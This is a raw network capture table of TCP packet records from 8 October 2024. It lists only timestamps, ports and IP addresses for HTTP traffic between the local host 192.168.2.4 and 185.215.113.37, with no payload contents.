Oct 8, 2024 08:22:13.121767998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.121777058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.121804953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.121819019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.121831894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.121836901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.121846914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.121850967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.121881962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.121900082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.121956110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.121962070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.121970892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.121975899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.121980906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.121984959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.122009039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.122025013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.122246981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.122252941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.122262001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.122287035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.122299910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.122312069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.122318029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.122323036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.122330904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.122337103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.122369051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.122384071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.122399092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.122405052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.122414112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.122442007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.122472048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.122476101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.122486115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.122493029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.122519016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.122555017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.122627974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.122632980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.122642994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.122647047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.122658014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.122663021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.122668028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.122679949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.122719049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.122724056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.122771978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.122834921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.122840881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.122849941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.122881889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.122968912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.122986078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.122997046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.123006105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.123008966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.123020887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.123033047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.123040915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.123045921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.123049974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.123054981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.123054981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.123059034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.123069048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.123074055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.123079062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.123091936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.123117924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.123147964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.123152971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.123162985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.123167992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.123186111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.123186111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.123215914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.123225927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.123230934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.123240948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.123244047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.123249054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.123275995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.123306990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.123372078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.123377085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.123399973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.123406887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.123411894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.123414993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.123420000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.123424053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.123429060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.123434067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.123435020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.123450041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.123450041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.123478889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.123507977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.123512983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.123548985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.123584032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.123589993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.123599052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.123604059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.123609066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.123614073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.123622894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.123630047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.123646975 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.123668909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.123708010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.123713017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.123723030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.123728037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.123759985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.123775959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.123838902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.123846054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.123856068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.123861074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.123868942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.123873949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.123878002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.123887062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.123889923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.123893976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.123914957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.123950958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.166563988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.166568995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.166579962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.166625977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.166630030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.166639090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.166642904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.166661024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.166675091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.166680098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.166701078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.166726112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.208870888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.208893061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.208906889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.208913088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.208918095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.208981037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.209017038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.209022045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.209022045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.209033012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.209037066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.209043026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.209053040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.209069967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.209086895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.209141970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.209147930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.209157944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.209167004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.209192991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.209208965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.209239006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.209244013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.209258080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.209259033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.209264994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.209281921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.209307909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.209311008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.209311962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.209350109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.209383965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.209388971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.209394932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.209398985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.209403992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.209408998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.209413052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.209427118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.209461927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.209501982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.209506989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.209517002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.209551096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.209589005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.209594011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.209599018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.209603071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.209635973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.209703922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.209714890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.209731102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.209737062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.209745884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.209757090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.209772110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.209805965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.209810972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.209816933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.209821939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.209826946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.209846973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.209866047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.209942102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.209947109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.209958076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.209963083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.209968090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.209973097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.209995031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.210011005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.210087061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.210092068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.210102081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.210107088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.210114002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.210134983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.210150957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.210191965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.210196972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.210206985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.210210085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.210215092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.210220098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.210231066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.210244894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.210294962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.210314989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.210319996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.210335016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.210340023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.210349083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.210354090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.210357904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.210362911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.210380077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.210395098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.210406065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.210566998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.210572004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.210582018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.210586071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.210592031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.210596085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.210602045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.210606098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.210614920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.210616112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.210629940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.210654020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.210697889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.210704088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.210715055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.210717916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.210743904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.210760117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.210772038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.210777044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.210787058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.210792065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.210796118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.210800886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.210814953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.210819006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.210849047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.210994005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.210999012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.211009026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.211014032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.211023092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.211026907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.211050987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.211066008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.211074114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.211133003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.211137056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.211148024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.211152077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.211157084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.211162090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.211170912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.211175919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.211189032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.211220980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.211316109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.211321115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.211330891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.211333990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.211361885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.211378098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.254112005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.254117966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.254127979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.254138947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.254143953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.254220963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.254221916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.254228115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.254239082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.254262924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.254287004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.296351910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.296387911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.296396971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.296402931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.296412945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.296461105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.296471119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.296475887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.296485901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.296490908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.296519041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.296545029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.296550035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.296559095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.296571016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.296602964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.296632051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.296636105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.296646118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.296686888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.296705008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.296710014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.296720028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.296724081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.296755075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.296809912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.296816111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.296825886 CEST	80	49730	185.215.113.37	192.168.2.4
